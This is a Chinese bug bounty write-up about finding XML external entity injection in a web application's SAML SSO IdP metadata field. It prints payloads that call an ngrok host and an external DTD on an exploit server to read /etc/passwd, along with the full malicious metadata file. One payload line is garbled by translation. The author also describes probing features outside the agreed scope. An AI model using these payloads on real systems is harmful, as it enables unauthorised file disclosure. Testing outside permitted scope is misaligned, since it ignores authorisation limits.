今天我将分享我如何在一个 Web 应用程序的 SAML SSO 中找到 XXE。这是 HackerOne 上的一个私人程序,他们正在提供付费计划凭据以进行测试。但是范围有限,因为它们仅限于少数功能。因此,在完成有限功能的测试后,我开始查看不在范围内的其他功能。这个“安全控制”功能吸引了我,因为它允许不同类型的身份验证
我检查了所有这些,发现 SAML 在 IdP 元数据字段中接受 XML。我有一种感觉,在这里我可以找到一些重要的东西。所以我开始在谷歌上搜索这个 SAML IdP 并来到这个我们可以生成 IdP 元数据的网站。
https://www.samltool.com/idp_metadata.php
https://www.samltool.com/sp_metadata.php
所以我生成了这个元数据并在应用程序中进行了尝试。是的,它被接受了,但它不允许使用它进行任何身份验证,因为该 IdP 元数据 XML 中的数据是错误的。所以我尝试了 XXE 基本有效载荷,其中一个有效载荷有效。这是从目标服务器接收响应的基本负载
<!DOCTYPE foo [ <!ENTITY % asd SYSTEM "https://app.target.com@29de5f70.ngrok.io"> %asd;]>
然后在几周后,这个特性就在范围内,我在那个 XML 中用这个有效载荷报告了它作为“SAML SSO 中的 XXE”。该报告由 HackerOne 分类器分类。
是的,我知道,这是我的错误,我开始和他争论。当时分诊员也在线,所以我很快就收到了答案,他正在讲述事实。
然后我在 20 分钟内尝试了所有Portswigger XXE 实验室,发现我们可以使用 DTD 文件来利用这个案例。所以我尝试了这个 Lab DTD文件,我得到了我需要的东西
< ? xml 版本= “1.0” ?>
< ! 文档类型foo [ < ! 实体 % xxe系统 “ https://ac961f4f1e4dadda80640ad3018a0016.web-security-academy.net/exploit.dtd”>%xxe ;_ _ ] >
我能够在有效负载中使用 DTD 获取“/etc/passwd”数据。Triager 也很好,这是他的回应
最终的 XML 元数据文件是这样的:-
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://ac961f4f1e4dadda80640ad3018a0016.web-security-academy.net/exploit.dtd"> %xxe;]>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata"
validUntil="2020-04-20T14:37:12Z"
cacheDuration="PT114100S"
entityID="101">
<md:SPSSODescriptor AuthnRequestsSigned="false" WantAssertionsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<md:SingleLogoutService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect"
Location="https://app.target.com" />
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
<md:AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
Location="https://app.target.com" index="1" />
</md:SPSSODescriptor>
</md:EntityDescriptor>
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。